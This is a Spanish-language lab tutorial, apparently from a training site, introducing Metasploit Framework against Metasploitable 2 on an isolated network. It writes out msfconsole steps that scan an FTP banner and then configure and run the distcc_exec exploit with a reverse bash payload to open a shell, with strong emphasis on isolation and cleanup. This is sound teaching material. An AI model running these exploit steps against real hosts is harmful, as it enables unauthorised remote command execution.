← Todas las guías
ExplotaciónLaboratorio aisladoIntermedio36 min

Introducción a la explotación con Metasploit Framework

Comprende módulos, opciones, payloads y sesiones; prepara Kali y Metasploitable 2 en una red interna, valida distcc, abre una shell mínima y restaura el laboratorio sin generar artefactos con msfvenom.

1 · El flujo: evidencia, módulo, opciones y resultado

Metasploit Framework es una plataforma modular para validar vulnerabilidades. No sustituye el análisis: ayuda a convertir una hipótesis concreta —servicio, versión y condición vulnerable— en una prueba reproducible. El orden correcto es identificar, leer, configurar, comprobar, ejecutar lo mínimo y cerrar.

Modelo de trabajo
servicio observado → módulo candidato → info y targetsopciones requeridas → check → decisión de paradarun autorizado → evidencia mínima → cierre y restauración

Auxiliary

Realiza una tarea como descubrimiento, enumeración o validación sin ser un exploit. Su impacto depende de cada módulo.

Exploit

Aprovecha una debilidad para alcanzar una capacidad concreta. El nombre del módulo no demuestra que cualquier host sea vulnerable.

Payload

Es la acción que el exploit intenta ejecutar después de funcionar. Debe ser compatible con módulo, plataforma y arquitectura.

Handler y sesión

El handler gestiona la conexión esperada por ciertos payloads; una sesión representa el canal abierto con el objetivo.

Post

Opera sobre una sesión ya abierta. Queda fuera de este ejercicio porque un primer acceso no autoriza recolección ni persistencia.

Encoder y NOP

Resuelven restricciones de representación o memoria. Un encoder no convierte un payload en legítimo ni garantiza evasión antivirus.

2 · Prepara dos VM y una red sin salida

Usa una VM Kali actual y la imagen oficial de Metasploitable 2. En el hipervisor, crea una red interna o host-only y conecta exclusivamente esas dos VM. Desactiva adaptadores bridged y NAT antes de encender el objetivo. Toma una instantánea de ambas máquinas y asigna, o confirma, estas direcciones de laboratorio: 192.168.56.10 para Kali y 192.168.56.20 para el objetivo.

Kali · verificar interfaz y rutas
ip -br addressip routeping -c 2 192.168.56.20
Metasploitable 2 · verificar el objetivo
ifconfigroute -nps aux | grep '[d]istccd'

El objetivo debe mostrar la IP inventariada y el proceso distccd. Una ruta por defecto hacia una red externa es motivo para apagar la VM y corregir el hipervisor. No uses descubrimiento amplio para «encontrarla»: confirma la dirección desde su propia consola.

  • Kali y Metasploitable 2 son máquinas propias y desechables
  • La red virtual es interna o host-only y contiene solo estas dos VM
  • El objetivo no tiene adaptador NAT, bridged ni port forwarding
  • Las IP 192.168.56.10 y 192.168.56.20 coinciden con el inventario
  • Existe una instantánea anterior al ejercicio
  • La evidencia se limitará a estado del módulo, apertura de sesión e identidad del usuario

3 · Inicia msfconsole y comprueba su base de datos

La práctica se ejecuta dentro de Kali. PostgreSQL permite conservar hosts, servicios y resultados; no es imprescindible para comprender un módulo, pero deja el entorno coherente con la documentación de Kali.

Kali · instalación e inicio
sudo apt updatesudo apt install -y metasploit-frameworksudo msfdb initmsfconsole -q
Dentro de msfconsole
versiondb_statushelp

db_status debe indicar conexión a PostgreSQL. Si no conecta, sal de la consola y ejecutasudo msfdb status; no uses reinit como primer intento porque elimina y reconstruye la base de datos de Metasploit.

4 · Aprende el ciclo con un módulo auxiliar

Antes de explotar, practica la mecánica con un único servicio conocido. El módulo de versión FTP consulta192.168.56.20:21; no recorre una subred ni intenta credenciales.

msfconsole · identificar el servicio
search type:auxiliary name:ftp_versionuse auxiliary/scanner/ftp/ftp_versioninfoshow optionsset RHOSTS 192.168.56.20set RPORT 21show missingrunback
Salida representativa
[+] 192.168.56.20:21 - FTP Banner: '220 (vsFTPd 2.3.4)'[*] 192.168.56.20:21 - Scanned 1 of 1 hosts[*] Auxiliary module execution completed

El banner es una observación declarada por el servicio, no prueba por sí solo una vulnerabilidad. Conserva dirección, puerto, módulo, hora y salida; la conclusión todavía requiere documentación del módulo y una comprobación compatible.

5 · Valida distcc y abre una sesión mínima

Rapid7 documenta exploit/unix/misc/distcc_exec con Metasploitable 2. Lee primero su descripción, referencias, objetivos y opciones. En este módulo, check no es pasivo: envía un comandoecho con un valor aleatorio y solo devuelve Vulnerable si recibe ese valor. Esa pequeña ejecución remota es la evidencia mínima y solo está permitida en esta VM desechable.

msfconsole · seleccionar y comprobar
search type:exploit name:distccuse exploit/unix/misc/distcc_execinfoshow targetsshow payloadsshow optionsset RHOSTS 192.168.56.20set RPORT 3632set LHOST 192.168.56.10set PAYLOAD cmd/unix/reverse_bashshow missingcheck

Vulnerable

El módulo confirmó ejecución remota mediante su prueba. Verifica una vez más IP, red aislada y snapshot antes de continuar.

Appears o Detected

Hay indicios, no confirmación completa. No fuerces la ejecución; revisa versión, objetivo soportado y documentación.

Safe, Unknown o Unsupported

Detente. Puede no ser vulnerable, faltar evidencia o no existir método de comprobación. Cambiar de payload no corrige esa incertidumbre.

msfconsole · demostración mínima
run
Sesión del laboratorio · comprobar y salir
idexit

El resultado esperado es una sesión de shell con el usuario de servicio, habitualmente daemon en Metasploitable 2. id demuestra el contexto sin leer archivos, credenciales ni procesos. Sal inmediatamente: la guía no continúa con Meterpreter, módulos post, migración, pivote ni persistencia.

6 · Errores, msfvenom y cierre del ejercicio

Exploit completed, no session

Revisa primero LHOST, rutas, payload compatible y servicio. No pruebes payloads al azar ni desactives controles del host.

Connection refused o timeout

Confirma desde la consola del objetivo que distccd escucha y que la IP es la inventariada. No amplíes el rango.

Missing options

Usa show missing y corrige solo el dato requerido. Evita setg en una primera práctica para no arrastrar valores a otros módulos.

msfvenom combina selección de payload, codificación y formato de salida. Aquí se usa únicamente para consultar su interfaz. No se generan ejecutables, scripts, reverse shells ni plantillas modificadas; un encoder atiende restricciones técnicas y no debe presentarse como método para evadir antivirus.

Kali · consulta segura de msfvenom
msfvenom --helpmsfvenom --list payloads | head -n 20msfvenom --list formats | head -n 20
msfconsole · limpiar opciones y salir
unset RHOSTSunset LHOSTunset PAYLOADbackexit -y
Kali · detener la base de datos
sudo msfdb stop

Apaga Metasploitable 2 y restaura su instantánea. Conserva solo una nota saneada con módulo, opciones, resultado de check, apertura/cierre de la sesión y corrección: retirar el servicio vulnerable, actualizarlo y limitar su exposición. La VM seguirá siendo peligrosa mientras exista; no la conectes a una red compartida.

Glosario

Módulo

Unidad funcional de Metasploit que implementa una comprobación, explotación o tarea auxiliar.

Exploit

Módulo que aprovecha una condición vulnerable para provocar un resultado controlado.

Payload

Acción que se ejecuta después de que un exploit logra transferir el control.

Handler

Componente que prepara y gestiona la comunicación esperada de determinados payloads.

Sesión

Canal interactivo abierto por Metasploit tras una ejecución satisfactoria.

RHOSTS

Opción que identifica el objetivo o conjunto de objetivos autorizados del módulo.

Ver más guías
Introducción a la explotación con Metasploit Framework | Cubix Academia